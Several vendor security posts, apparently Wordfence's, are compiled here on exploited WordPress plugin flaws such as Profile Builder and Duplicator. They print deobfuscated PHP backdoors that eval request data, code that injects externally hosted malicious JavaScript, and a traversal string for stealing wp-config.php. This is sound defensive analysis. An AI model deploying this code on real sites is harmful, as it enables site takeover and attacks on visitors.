Earlier this week, a critical vulnerability was patched in the Profile Builder plugin for WordPress. This vulnerability affected the free version available on the WordPress.org repository, as well as the commercial Pro and Hobbyist variants. According to the WordPress repository more than 50,000 sites are running the free version of Profile Builder, and our estimates suggest there are roughly 15,000 installations of the Pro and Hobbyist versions, for an estimated total of 65,000 affected sites.

Profile Builder versions up to and including 3.1.0 are affected by this vulnerability. It is crucial that any site running a vulnerable version of the plugin be updated to version 3.1.1 immediately to avoid site compromise. We have deployed a firewall rule to prevent exploitation on sites running Wordfence Premium. Sites using the free version of Wordfence will receive the rule after thirty days.

In this post we’ll take a look at the vulnerability and discuss its impact. We’ll also detail some steps a site owner can take to mitigate the issue in the event that an immediate update isn’t possible.

Vulnerability Summary

Profile Builder is a plugin designed to create custom forms that allow users to register, edit their profiles, and more. It also features a custom user role editor, allowing admins to assign custom sets of privileges to their site’s users.

To implement these custom user roles in the registration process, the plugin features form handlers to assign a selected role to a new user. This user role field isn’t present by default, but can be added by an administrator to provide a list of approved roles in a drop-down menu.

An example of a Profile Builder registration form with a User Role dropdown field.

Unfortunately, a bug in the form handler made it possible for a malicious user to submit input on form fields that didn’t exist in the actual form. Specifically, if the site’s administrator didn’t add the User Role field to the form, an attacker could still inject a user role value into their form submission.

When an administrator adds the User Role selector to a form, they have to select a list of approved roles for new users. If this list is created, only approved roles will be accepted by the form handler. However, when the User Role field isn’t present and an attacker submits a user role anyway, there is no list of approved roles and any input is accepted.

These two issues combine to allow unauthenticated attackers to register Administrator accounts on vulnerable WordPress sites. With Administrator privileges, an attacker has effectively taken over the site and can deploy malware and other backdoors freely.

These issues have been patched as of Profile Builder version 3.1.1.

Patch Details

As we mentioned in the summary above, the impact of this vulnerability is caused by the interaction of two smaller bugs.

For the first bug, the Profile Builder plugin’s form handler would process input on any of the plugin’s possible form fields, regardless of whether that field was present in the form. To patch this bug, the developers created the validation function wppb_field_exists_in_form(). This validation is now used in the handler function of each possible form field, preventing the injection of unintended values.

/**
 * Function that checks if a field type exists in a form
 * @return bool
 */
function wppb_field_exists_in_form( $field_type, $form_args ){
    if( !empty( $form_args ) && !empty( $form_args['form_fields'] ) ){
        foreach( $form_args['form_fields'] as $field ){
            if( $field['field'] === $field_type ){
                return true;
            }
        }
    }

    return false;
}

Patching this bug effectively prevents exploitation of the second one, but the developers wisely fixed it as well. In addition to confirming the custom_field_user_role field is present on the form, the field handler now explicitly denies attempts to create Administrator users.

/* handle field save */
function wppb_userdata_add_user_role( $userdata, $global_request, $form_args ){

    if( wppb_field_exists_in_form( 'Select (User Role)', $form_args ) ) {

        $roles_editor_active = false;
        $wppb_generalSettings = get_option('wppb_general_settings', 'not_found');
        if ($wppb_generalSettings != 'not_found') {
            if (!empty($wppb_generalSettings['rolesEditor']) && ($wppb_generalSettings['rolesEditor'] == 'yes')) {
                $roles_editor_active = true;
            }
        }

        if (isset($global_request['custom_field_user_role'])) {
            if ($roles_editor_active && is_array($global_request['custom_field_user_role'])) {
                $user_roles = array_map('trim', $global_request['custom_field_user_role']);
                $user_roles = array_map('sanitize_text_field', $user_roles);

                //don't allow administrator value. it should never be here but just in case make a hard check
                if (($key = array_search("administrator", $user_roles)) !== false) {
                    unset($user_roles[$key]);
                }

                $userdata['role'] = $user_roles;
            } else {
                $role = sanitize_text_field(trim($global_request['custom_field_user_role']));
                if( $role !== 'administrator' ) {//don't allow administrator value. it should never be here but just in case make a hard check
                    $userdata['role'] = $role;
                }
            }
        }
    }

    return $userdata;
}

As you can see in the if() statement on line 181, the user role assignment code will not run if wppb_field_exists_in_form() returns False. Additionally, checks on lines 197 and 204 will prevent assignment if the intended role is administrator.

Assessing Impact

Considering all of the factors of this vulnerability, we have calculated its CVSS severity score as 10.0 (Critical). View the CVSS calculation here.

This score was determined based on the following metrics:

• Attack Vector: Network
  • The vulnerability can be exploited via HTTP(S) access to an affected site.
• Attack Complexity: Low
  • No excessive effort is required by an attacker, just the discovery of a vulnerable form.
• Privileges Required: None
  • The vulnerability is exploited in the user registration process, no prior authentication is necessary.
• User Interaction: None
  • No interaction by the site’s administrator is required to exploit a vulnerable form.
• Scope: Changed
  • The vulnerability is present in a plugin added onto a WordPress application, but successful exploitation allows access far beyond the affected plugin itself.
• Confidentiality: High
• Integrity: High
• Availability: High
  • All three CIA impact scores are High in cases where a full site takeover is possible. An attacker with Administrator privileges can disrupt site behavior, harvest data, and inject malicious content at will.

Short-Term Mitigation

We strongly recommend updating Profile Builder to version 3.1.1 as soon as possible to avoid a critical security event on your site. However, we understand that some users may be restricted by update workflows and other policies that can slow down a proper response.

In the event that your site is using a vulnerable version of Profile Builder and can’t be updated immediately, it’s possible to mitigate the severity of the vulnerability by modifying your existing Profile Builder form fields. Since an attacker can only create an Administrator account if the User Role field doesn’t exist in the form, you can add this field and properly limit it to one or more authorized roles.

A screenshot of Profile Builder’s interface, showing the creation of a Select (User Role) field.

To add this field, access the “Form Fields” page from Profile Builder’s sidebar menu. At the top of this page, a dropdown will ask you to select an option. Choose the “Select (User Role)” option under Advanced. Fill out the form that appears by giving the field a name and description, then select the role or roles that new users should be allowed to access. For most sites, selecting Subscriber and nothing else will be sufficient.

To reiterate, it’s still of critical importance that affected users update their plugins as quickly as possible even when a mitigation like this is available. This should only be relied on as a temporary measure to prevent exploitation until you can patch your site.

Timeline

• February 10, 2020 – Profile Builder version 3.1.1 is released. “Security update” mentioned in changelog. WPVulnDB entry created by the vulnerability’s discoverer.
• February 12, 2020 – We deployed a firewall rule to protect Wordfence Premium users from the vulnerability.
• February 24, 2020 – Proof-of-concept (PoC) to be released, according to the WPVulnDB entry.
• March 13, 2020 – Firewall rule to be deployed to sites running the free version of Wordfence.

Conclusion

Profile Builder versions up to and including 3.1.0 were affected by a critical vulnerability which could allow hackers to take over a site using the plugin. All variants of the plugin, including Free, Pro, and Hobbyist, contained the bugs responsible for this issue. These bugs were patched in version 3.1.1 of all variants, released on February 10th.

Wordfence Premium users are already protected by a new firewall rule, and sites still using the free version of Wordfence will receive this rule on March 13th. Even with a firewall rule in place, we still strongly recommend performing security updates to thoroughly mitigate the risk to your site.

At this time, we have seen no indication of malicious activity seeking to exploit this vulnerability. We will continue to monitor for new exploitation campaigns that may emerge over time, and will report our findings as they come. If you believe your site may have been compromised as a result of this vulnerability or any other, don’t hesitate to reach out to our Site Cleaning team.

According to the vulnerability’s entry in WPVulnDB, the discovering researcher intends to release a detailed proof-of-concept (PoC) on February 24th. While a bad actor could develop an attack script by examining the changes made in the patched version with little difficulty, the public release of a PoC commonly results in wide exploitation by hackers. It is critically important that all affected users update to version 3.1.1 as soon as possible. To help spread awareness of these concerns, please consider sharing this report with other members of the WordPress community.

Today, February 18th, our Threat Intelligence team was notified of a vulnerability present in ThemeREX Addons, a WordPress plugin installed on an estimated 44,000 sites. This flaw allows attackers to remotely execute code on a site with the plugin installed, including the ability to execute code that can inject administrative user accounts.

At the time of writing, this vulnerability is being actively exploited, therefore we urge users to temporarily remove the ThemeREX Addons plugin if you are running a version greater than 1.6.50 until a patch has been released.

Wordfence Premium customers received a new firewall rule today, February 18th, 2020, at 3:16PM UTC to protect against exploits targeting this vulnerability. Free Wordfence users will receive the rule after thirty days on March 19th, 2020.

REST-API Endpoint Unprotected and Improperly Configured

ThemeREX Addons is a plugin installed as a companion to many ThemeREX themes and provides a number of theme management features. One of the plugin’s functions registers a WordPress REST-API endpoint. When doing so, it does not verify that a request is coming from an administrative user.

While this is not cause for concern on its own, the endpoint allows any PHP function to be executed, rather than being limited to a select few functions. This means that remote code can be executed by any visitor, even those that are not authenticated to the site. The most worrisome capability that we are seeing actively attacked is the ability to create a new administrative user, which can be used for complete site takeover.

Indicators of Compromise

We currently have very little data on who is exploiting this vulnerability and what artifacts are being left behind, however, we do know that attacks are targeting administrative user account creation. If you are running the ThemeREX Addons plugin on your site and you discover a new suspicious administrative account, it is very likely that your site was compromised as a result of this vulnerability. We will provide more information as details emerge.

Conclusion

We have intentionally provided minimal details in this post in an attempt to keep exploitation to a bare minimum while also informing WordPress site owners of this active campaign. We will release a follow-up post with further details once the developer patches this vulnerability.

For the time being, we urge that site owners running the ThemeREX Addons plugin remove it from their sites immediately. Sites running Wordfence Premium have been protected from attacks against this vulnerability since February 18th, 2020. Sites running the free version of Wordfence will receive the firewall rule update on March 19th, 2020.

A critical security update was recently issued for Duplicator, one of the most popular plugins in the WordPress ecosystem. Over a million WordPress sites were affected by a vulnerability allowing attackers to download arbitrary files from victim sites. We urge all Duplicator users to update to version 1.3.28 as soon as possible.

We are detecting active exploitation of this vulnerability in the wild, and estimate more than half a million sites are still running a vulnerable version. Built-in firewall protection prevents these attacks for all Wordfence users, both Premium and those still on the free version of Wordfence. As always, it’s still important to perform security updates regardless of other protections.

In today’s post, we’ll take a brief look at the vulnerable code, discuss its severity, and share details of the ongoing attacks against it.

File Download Vulnerability Analysis

The Duplicator plugin helps site administrators migrate and copy WordPress sites. Part of this functionality involves exporting database and file content into portable archives. When an administrator creates a new copy of their site, Duplicator lets them download the generated files from their WordPress dashboard.

Screenshot of a Duplicator download prompt.

This was implemented as an AJAX request within Duplicator’s admin interface. The download buttons each trigger a call to the WordPress AJAX handler with the action duplicator_download and a file parameter, indicating the location of the file to be downloaded. When clicked, the requested file is downloaded and the user doesn’t need to leave or reload their current page.

public static function duplicator_download() {
        $file = sanitize_text_field($_GET['file']);
        $filepath = DUPLICATOR_SSDIR_PATH.'/'.$file;
        // Process download
        if(file_exists($filepath)) {
            // Clean output buffer
            if (ob_get_level() !== 0 && @ob_end_clean() === FALSE) {
                @ob_clean();
            }

            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($filepath));
            flush(); // Flush system output buffer

            try {
                $fp = @fopen($filepath, 'r');
                if (false === $fp) {
                    throw new Exception('Fail to open the file '.$filepath);
                }
                while (!feof($fp) && ($data = fread($fp, DUPLICATOR_BUFFER_READ_WRITE_SIZE)) !== FALSE) {
                    echo $data;
                }
                @fclose($fp);
            } catch (Exception $e) {
                readfile($filepath);
            }
            exit;
        } else {
            wp_die('Invalid installer file name!!');
        }
    }

Unfortunately the duplicator_download action was registered via wp_ajax_nopriv_ and was accessible to unauthenticated users. To make things worse, no validation limited the filepaths being downloaded. The file parameter is passed through sanitize_text_field and appended to the plugin constant DUPLICATOR_SSDIR_PATH, but directory traversal was still possible. An attacker could access files outside of Duplicator’s intended directory by submitting values like ../../../file.php to navigate throughout the server’s file structure.

In addition to the AJAX action, the same vulnerability existed in Duplicator’s duplicator_init() function, which is called by WordPress’s init hook.

function duplicator_init() {
    if (isset($_GET['action']) && $_GET['action'] == 'duplicator_download') {
        $file = sanitize_text_field($_GET['file']);
        $filepath = DUPLICATOR_SSDIR_PATH.'/'.$file;
        // Process download
        if(file_exists($filepath)) {
            // Clean output buffer
            if (ob_get_level() !== 0 && @ob_end_clean() === FALSE) {
                @ob_clean();
            }

            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($filepath));
            flush(); // Flush system output buffer

            try {
                $fp = @fopen($filepath, 'r');
                if (false === $fp) {
                    throw new Exception('Fail to open the file '.$filepath);
                }
                while (!feof($fp) && ($data = fread($fp, DUPLICATOR_BUFFER_READ_WRITE_SIZE)) !== FALSE) {
                    echo $data;
                }
                @fclose($fp);
            } catch (Exception $e) {
                readfile($filepath);
            }
            exit;
        } else {
            wp_die('Invalid installer file name!!');
        }
    }
}
add_action('init', 'duplicator_init');

Because it was hooked into init, this function was executed on every WordPress page load for logged-in users and unauthenticated visitors alike. This means an attacker could trigger a file download by adding query strings to any path on a vulnerable site, bypassing AJAX-specific monitoring.

Both of these vulnerable cases have been patched as of Duplicator 1.3.28. The AJAX action has been updated to properly validate filenames, and now requires a matching ID and hash to allow the file download. The duplicator_init() function has been removed entirely.

Attackers Stealing Database Credentials

Arbitrary file download vulnerabilities can be a critical issue regardless of the vulnerable site’s platform, but such attacks against WordPress sites largely target one file: wp-config.php.

Depending on the site, wp-config.php can contain any amount of custom code, but attackers target it to access a site’s database credentials. With these credentials, an attacker can directly access the victim site’s database if it allows remote connections. This access can be used by an attacker to create their own Administrator account and further compromise the site, or simply to inject content or harvest data.

Sites with local databases still have cause for concern, however. On shared hosting environments, it’s possible for one user on a shared server to access the local database of another site on the same server. This certainly limits the attack surface of the vulnerable site, but is still a severe issue.

At the time of this writing, Wordfence has blocked more than 60,000 attempts to download wp-config.php files with this vulnerability. About 50,000 of these events took place before Duplicator patched the flaw, making this a zero-day vulnerability.

Nearly all of these attacks were issued from the same IP address: 77.71.115.52. This IP points to a webserver located in Bulgaria, owned by Varna Data Center EOOD. A handful of websites are hosted on this server, suggesting the attacker could be proxying their attacks through a compromised website. We have associated this IP address with other malicious activity against WordPress recently, and research into its activity is ongoing.

Indicators Of Compromise (IOCs)

The following Indicators of Compromise (IOCs) can be used to determine if your site may have been attacked.

• Traffic logged from the threat actor’s IP address should be considered suspicious:
  • 77.71.115.52
• Attacks in this campaign are issued via GET requests with the following query strings:
  • action=duplicator_download
  • file=/../wp-config.php
  • Note: Because this vulnerability can be exploited via WP AJAX, it’s possible to exploit via POST request. In this case, it’s possible for the action parameter to be passed in the POST body instead of the query string. This will prevent the action=duplicator_download string from appearing in HTTP logs. The file parameter must be passed as a query string, however, and is a reliable indicator.

Timeline

• February 10th, 2020 – First attacks against Duplicator vulnerability. Wordfence users already safe due to built-in firewall protection.
• February 12th, 2020 – Duplicator releases version 1.3.28 to patch the flaw.

Conclusion

Duplicator’s massive install base, combined with the ease of exploiting this vulnerability, makes this flaw a noteworthy target for hackers. It’s crucial that Duplicator’s users update their plugins to the latest available version as soon as possible to remove this risk. All Wordfence users are protected from these attacks, but don’t forget to update despite this. Also, due to the nature of Duplicator’s functionality, it’s likely that it’s no longer required on your site. If you have no intent of using it to migrate or clone your site in the immediate future, you can delete the plugin without worry. It can always be reinstalled later if needed.

If you believe your site was attacked via this vulnerability, it’s critical that you change your database credentials and WordPress salts immediately. If you’re concerned that an attacker may have gained unauthorized access to your site, consider having our expert analysts perform a Site Security Audit to ensure your security is intact.

Special thanks to QA Engineer Ramuel Gall for discovery of these attacks and contributing to the research of this vulnerability. 

As part of our ongoing research efforts, the Wordfence Threat Intelligence team continually monitors our network for noteworthy threats facing WordPress. Recently, we’ve been tracking malicious activity targeting several vulnerabilities recently patched in popular plugins.

In today’s post, we’ll provide details of our research into two active campaigns. We’ll also share some common indicators of compromise (IOCs) that can help you assess whether your site was impacted by these attacks. Wordfence malware scans will identify these IOCs and their variants on systems with the plugin installed, but we include them to help administrators and researchers better approach this data at scale.

Threat Actor #1: “tonyredball”

Notable Targeted Vulnerabilities:

• ThemeGrill Demo Importer < 1.6.3 – Auth Bypass & Database Wipe
• Profile Builder and Profile Builder Pro < 3.1.1 – User Registration With Administrator Role

The first campaign we’ll discuss has been associated with the handle “tonyredball”. This threat actor has primarily focused on exploiting vulnerabilities which allow backdoor access to victim sites.

We identified the “tonyredball” handle after the attacker attempted to exploit the administrator registration vulnerability in the Profile Builder plugin. Requests exploiting this vulnerability contain the username, email, and other profile details of the new administrator account.

Compared to this threat actor’s activity against Profile Builder, they’ve issued a much greater volume of attacks against the database deletion vulnerability in ThemeGrill Demo Importer. This difference in volume may be due to the amount of work required to exploit each vulnerability. The Profile Builder vulnerability requires attackers to locate a vulnerable registration form, but ThemeGrill’s vulnerability could be exploited with a simple request to a known endpoint.

The end result of exploiting either of these vulnerabilities is administrative access to the victim’s site. With this access, the attacker uploads malicious scripts through the plugin and theme uploaders in the WordPress dashboard.

Snippet of an attempt by “tonyredball” to upload a backdoor.

Variants of the script uploaded in the example above have been previously associated with several filenames. The most common are blockspluginn.php, wp-block-plugin.php, and supersociall.php, though the primary names associated directly with this threat actor are wp-block-plugin.php and wp-hello-plugin.php.

if (isset($_POST['asavsdvds']) && md5($_POST["lgkfghdfh"]) == "e9787adc5271cb0f765294503da3f2dc") {
    $z2 = '<?php ' . base64_decode($_REQUEST['d1']);
    $a = '/tmp/mn';
    @file_put_contents($a, $z2);
    @include ($a);
    @unlink($a);
    die();
}

In the code sample above, we see part of the deobfuscated contents of wp-block-plugin.php. This small script allows an attacker to execute arbitrary PHP code on a victim’s site, establishing a persistent backdoor in case their administrator account is removed. The intended code is base64-encoded and submitted as $_REQUEST['d1'], where it’s decoded and stored as a file named /tmp/mn. This file is then executed via @include, and then immediately deleted from the server. It’s also password-protected to prevent other actors from using this backdoor.

We’ve intercepted a number of requests to these backdoors across our network. The payloads sent are varied in scope, but largely focus on iterating through a site’s file system to infect more files. Some events show “tonyredball” searching for additional WordPress installations to infect, while others try to inject malicious code into the victim’s legitimate JavaScript files.

if (strpos($g, 'hgkgfhjereve4') !== false) {
echo "#already exist#:".$f."\n";
} else {
$l2 = "var hgkgfhjereve4 = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,108,111,119,46,100,101,115,116,105,110,121,102,101,114,110,97,110,100,105,46,99,111,109,47,115,97,109,101,46,106,115,63,118,61,51); s.src=pl; 
if (document.currentScript) { 
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}";
$g = file_get_contents($f);
$g = $l2.$g;
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'hgkgfhjereve4') !== false) {
echo "#already exist#:".$f."\n";

This code snippet shows part of a backdoor payload intended to inject malicious JavaScript. In context, this code is executed after searching for filenames with .js and will insert new code above the existing content of the legitimate file. When run in a browser, this code sources a third-party script from https://slow.destinyfernandi.com/same.js?v=3.

This third-party script, when loaded, redirects the visitor’s browser to a potentially malicious location. Unlike more sophisticated malvertising scripts, there isn’t any conditional logic to prevent redirection for repeat visitors or logged-in users, meaning it’s much more likely to be caught and reported early. However, regardless of the current contents, scripts hosted on an attacker’s server can be modified at any time and it’s a major risk.

In addition to backdoor scripts, “tonyredball” also uses the WordPress plugin and theme editor to inject third-party JavaScript into a site’s content. A line like <script type=text/javascript src='https://middle.destinyfernandi.com/t.js'></script> is added, usually to a theme’s header.php script, where it loads the script at https://middle.destinyfernandi.com/t.js into visitors’ browsers. We’ve identified additional domains used in these attacks, which are listed in the IOC section below.

Screenshot of a redirect destination attempting to trick visitors into allowing permissions.

Currently, these redirect scripts take victims to a landing page at the domain talktofranky.com. On arrival, visitors are told to click “Allow” in a popup to prove they’re human. This is a trick, as the site is actually requesting permission to push notifications to the victim’s device. Searches for discussion about this domain reveal a number of guides on how to stop the notification spam, meaning this campaign is likely claiming a number of victims.

The latest attacks by “tonyredball” are sourced from one primary IP address: 45.129.96.17. This address is associated with Estonian hosting provider GMHost. GMHost is a known bulletproof host, and has been referenced recently on hacking forums as such. “Bulletproof” refers to hosting providers known to have lax or unenforced abuse policies, commonly located in countries without close relationships with international law enforcement. These hosts give hackers a place to conduct illegal activity with little fear of being shut down or otherwise punished.

Indicators of Compromise (IOCs)

• Username
  • tonyredball
• Email address
  • tonyredball@mail.com
• IP Addresses
  • 45.129.96.17
  • 188.127.251.74
• Malware Hashes (SHA-1)
  • 34d4b9a33f7a1ab39a264cdffde644264adcf4d1
  • 7648b981f7c8f497ab81f0323379734fd0898f84
• Searchable strings in obfuscated backdoors
  • jweyc
  • aeskoly
  • owhggiku
  • callbrhy
• Script injected into plugin and theme files
  • <script type=text/javascript src='https://room.verybeatifulantony.com/t.js'></script>
  • <script type=text/javascript src='https://middle.destinyfernandi.com/t.js'></script>
• Malicious Domains
  • verybeatifulantony.com
  • room.verybeatifulantony.com
  • tom.verybeatifulantony.com
  • destinyfernandi.com
  • slow.destinyfernandi.com
  • middle.destinyfernandi.com
  • fast.destinyfernandi.com
  • talktofranky.com
• Malicious filename
  • wp-block-plugin.php
  • wp-hello-plugin.php

Threat Actor #2 – “solarsalvador1234”

Notable Targeted Vulnerabilities:

• ThemeGrill Demo Importer < 1.6.3 – Auth Bypass & Database Wipe
• Profile Builder and Profile Builder Pro < 3.1.1 – User Registration With Administrator Role
• Duplicator < 1.3.28 – Unauthenticated Arbitrary File Download

Similar to “tonyredball”, we identified the handle associated with today’s second threat actor through their exploitation of the Profile Builder administrator registration vulnerability. These requests revealed a more sophisticated attack campaign than our previous example, as the threat actor was generating unique identifiers for each attempt.

In the requests we’ve blocked from this attacker, we see randomly-generated alphanumeric strings used as usernames, first and last names, and email addresses. Identifiers generated in this manner begin with a prefix (com_ in early attacks, then just com subsequently) followed by eight random characters. These are indexed together: one attack might use comxAwqw5de as the username and comxAwqw5de@mail.com as the email, and the next attack would use a different generated string for those values.

However, for a period of about two and a half hours on February 17th, the requests weren’t using a random email address. More than a hundred blocked requests in this window used the same email address: solarsalvador1234@gmail.com. These attacks came from the same IP as the rest in this campaign, and still used the random naming scheme for the created usernames.

Screenshot of Google search results showing “solarsalvador1234” as an Author on multiple hacked sites.

The email address solarsalvador1234@gmail.com has been previously associated with attacks against the Convert Plus plugin, where a similar vulnerability allowed attackers to register a privileged user. Google searches for this address reveal a number of compromised WordPress sites showing an associated user profile.

In addition to the Profile Builder and ThemeGrill Demo Importer vulnerabilities, the IP address associated with “solarsalvador1234” is also exploiting Duplicator’s recent file download flaw. By downloading wp-config.php files from vulnerable sites, they can use the stored credentials to access remote MySQL databases and compromise the site from there. In all three vulnerabilities, the end goal is the same: Administrative access to the victim’s WordPress site.

In the attacks we’re currently tracking, we’ve identified “solarsalvador1234” attempting to upload backdoors through the same method as “tonyredball”: the WordPress theme uploader. However, instead of uploading a single file as in our previous example, they upload a malicious archive named AdvanceImage5.zip. This ZIP archive technically contains a valid WordPress theme, having copied the index.php and style.css scripts from the Twenty Fifteen theme, required for WordPress to correctly store the extracted files. Other than those required files, the archive is purely malicious and contains backdoors intended to help the attacker maintain access long-term. The malicious theme AdvanceImage5 has previously been associated with other attack campaigns, including those targeting last year’s vulnerability in the WP Cost Estimation plugin.

<?php
@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
$data = NULL;
$data_key = NULL;
$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b";
global $auth;

function sh_decrypt_phase($data, $key) {
    $out_data = "";
    for ($i = 0; $i < strlen($data) {
        $jplufmtpaem = "i";
        for ($j = 0;$j < strlen($key) && $i < strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function sh_decrypt($data, $key) { global $auth; return sh_decrypt_phase(sh_decrypt_phase($data, $auth), $key); } foreach($_COOKIE as $key => $value) {
    $data = $value;
    $data_key = $key;
}

if(!$data) {
    foreach($_POST as $key => $value) {
        $data = $value;
        $data_key = $key;
    }
}
$data = @unserialize(sh_decrypt(@base64_decode( $data ) ,  $data_key ));

if (isset($data["ak"]) && $auth == $data["ak"]) {
    if ($data["a"] == "i") {
        $i = Array("pv" => @phpversion() , "sv" => "1.0-1" , );
        echo @serialize($i);
    }
    elseif ($data["a"] == "e") {
        eval($data["d"]);
    }
}

?>

The code snippet above shows the deobfuscated contents of the campaign’s primary backdoor, located in AdvanceImage5/header.php . This script features protections much like our earlier example, intended to prevent other attackers from abusing the script. Taking things a step further, an XOR cipher is used to encrypt requests sent to the backdoor, presumably in an attempt to bypass detection by firewalls and security teams. Ultimately though, the behavior is the same for “solarsalvador1234” as it is for the backdoor used by “tonyredball”, an attacker can execute PHP scripts at will on the infected site.

The activity associated with “solarsalvador1234” is linked to the IP address 77.71.115.52. We mentioned this address in our earlier post about attacks against a recent Duplicator vulnerability, noting that a number of otherwise-legitimate websites are hosted on the server. It’s not uncommon for attacks to come from compromised webservers, as they offer attackers a layer of abstraction to hide their physical location from victims.

Indicators of Compromise (IOCs)

• Usernames
  • Randomly generated, starting with com or com_
• Email addresses
  • solarsalvador1234@gmail.com
  • Other randomly generated addresses, starting with com or com_ and ending with @mail.com
• IP Address
  • 77.71.115.52
• Malware Hashes (SHA-1)
  • 47cb1646eba89f42319aa757423464476eb2fa7d
  • 3015d8f30b23eb6ebec608e992ff25ceccc6408d
  • f8ae2f3fcc05f04aece9ca0e0e21c64f25c4f0d6
  • 93632169238cbb52daee5271c90c533f7614e7b1
• Malicious Filepaths
  • wp-content/themes/AdvanceImage5/config.php
  • wp-content/themes/AdvanceImage5/functions.php
  • wp-content/themes/AdvanceImage5/header.php

Conclusion

The campaigns we’ve detailed in this post are just two examples of attacks targeting recently patched vulnerabilities. As the owner of a site, it’s your responsibility to remain aware of the changes made to the plugins and themes you use. When a security update is released, make it an immediate priority to install it. The threat actors facing the WordPress ecosystem quickly identify and exploit vulnerabilities, which compounds the importance of timely action to protect your infrastructure.

All of the malicious code discussed in this post is detected by the Wordfence malware scanner. This is true for Premium users as well as the sites still using the free version. If you’re unable to use Wordfence and are concerned about these campaigns, please make use of the indicators of compromise (IOCs) we’ve shared to assist in your analysis.

The Wordfence Threat Intelligence team is always on the lookout for new activity to report to the community. Whether new developments arise in the campaigns we’ve discussed today, or something entirely new descends on the WordPress ecosystem, we’ll report our findings as they emerge.

Special thanks to Director of Threat Intelligence Sean Murphy and QA Engineer Ram Gall for their assistance researching these attack campaigns and editing this post.

Early yesterday, the Flexible Checkout Fields for WooCommerce plugin received a critical update to patch a zero-day vulnerability which allowed attackers to modify the plugin’s settings. As our Threat Intelligence team researched the scope of this attack campaign, we discovered three additional zero-day vulnerabilities in popular WordPress plugins that are being exploited as a part of this campaign. The targeted plugins were Async JavaScript, Modern Events Calendar Lite, and 10Web Map Builder for Google Maps. At this time, we have reached out to each plugin’s development team in hopes of getting these issues resolved quickly.

This attack campaign exploits XSS vulnerabilities in the above plugins to inject malicious Javascript that can create rogue WordPress administrators and install malicious plugins that include backdoors. It is important that site administrators using these plugins urgently take steps to mitigate these attacks.

We have released firewall rules to protect Wordfence users from these attacks. These rules are already available to Wordfence Premium users and will be available to sites still on the free version in thirty days. Fortunately, because these vulnerabilities are being exploited to inject XSS payloads, those attacks have been blocked by the built-in XSS protection available to all Wordfence users, free or Premium. However, the nature of each vulnerability allows other disruptive activity that would not be blocked by these protections, necessitating the additional firewall rules.

Today’s post gives an overview of these vulnerabilities to inform the community of their current risk. More details of this campaign will be considered in a forthcoming blog post.

Unauthenticated Stored XSS in Flexible Checkout Fields For WooCommerce

In a report released yesterday by NinTechNet, researchers alerted the community to the presence of this vulnerability and the attacks against it. Unauthenticated attackers are capable of modifying the plugin’s options, which can be leveraged to inject XSS payloads that can be triggered in the dashboard of a logged-in administrator.

Flexible Checkout Fields versions up to 2.3.1 are vulnerable to these attacks. The plugin’s developers, WP Desk, issued a patch with version 2.3.2 quickly after they were made aware of the issue. Since then, they’ve issued two more updates to implement some additional security measures. The WordPress.org repository reports an install base of more than 20,000 sites with the plugin. We urge all of the plugin’s users to update to the latest available version as quickly as possible to reduce their risk of exploitation.

This vulnerability was due to a lack of capabilities checks on the plugin’s settings update function. In classes/settings.php, the function updateSettingsAction() is hooked into the WordPress admin_init hook. This hook fires when any /wp-admin/ endpoint is accessed, including those that don’t require authentication.

public function updateSettingsAction(){

    if ( !empty( $_POST ) ) {
        if ( !empty($_POST['option_page']) && in_array( $_POST['option_page'], array('inspire_checkout_fields_settings', 'inspire_checkout_fields_checkboxes') ) ) {


        	if ( !empty( $_POST[$this->plugin->get_namespace()] ) ) {

                foreach ( $_POST[$this->plugin->get_namespace()] as $name => $value ) {
                	$settings = get_option( 'inspire_checkout_fields_' . $name, array() );
                	if ( is_array( $value )) {
                		foreach ( $value as $key => $val ) {
                			$settings[$key] = $val;

The snippet above shows the first several lines of the function, which makes some checks for certain $_POST values but no security checks. By crafting an array of expected settings, attackers can inject JavaScript payloads into the elements that render onscreen.

This vulnerability was patched by the plugin developers by implementing a capabilities check to ensure only administrators can modify these settings.

Subscriber+ Stored XSS in Async JavaScript

A similar vulnerability exists in the popular Async JavaScript Plugin, which is currently active on more than 100,000 WordPress sites. We notified the plugin’s developer, Frank Goossens, who quickly released a patch for this issue. Because the update was made available so recently, we are providing limited details about the vulnerability at this time.

Async JavaScript’s settings are modified via calls to wp-admin/admin-ajax.php with the action aj_steps. This AJAX action is registered only for authenticated users, but no capabilities checks are made. Because of this, low-privilege users including Subscribers can modify the plugin’s settings.

Similar to Flexible Checkout Fields above, certain setting values can be injected with a crafted payload to execute malicious JavaScript when a WordPress administrator views certain areas of their dashboard.

Unauthenticated Stored XSS in 10Web Map Builder for Google Maps

A third XSS via settings change vulnerability is present in 10Web Map Builder for Google Maps. This plugin is active on over 20,000 sites. Unlike Async JavaScript, this vulnerability can be exploited by unauthenticated attackers.

We have reached out to establish contact with the plugin’s developers and are awaiting their response at this time. As with the previous vulnerability, because it’s under attack in the wild we are providing limited detail.

The vulnerability in 10Web Map Builder exists in the plugin’s setup process. The plugin’s setup functions are called during admin_init which, like Flexible Checkout Fields, is accessible to unauthenticated users. If an attacker injects malicious JavaScript into certain settings values, that code will execute for administrators in their dashboard as well as front-of-site visitors in some circumstances.

Multiple Subscriber+ Stored XSS Vulnerabilities In Modern Events Calendar Lite

The last vulnerability in this report affects Modern Events Calendar Lite, with over 40,000 installs.

We have reached out to establish contact with the developer and are awaiting response. Again, as this issue is known to malicious actors, we are making the community aware of it.

Modern Events Calendar Lite registers a number of AJAX actions for logged-in users. Some of these actions allow low-privileged users like subscribers to manipulate settings and other stored data. When exploited in this way, the affected data can be injected with various XSS payloads.

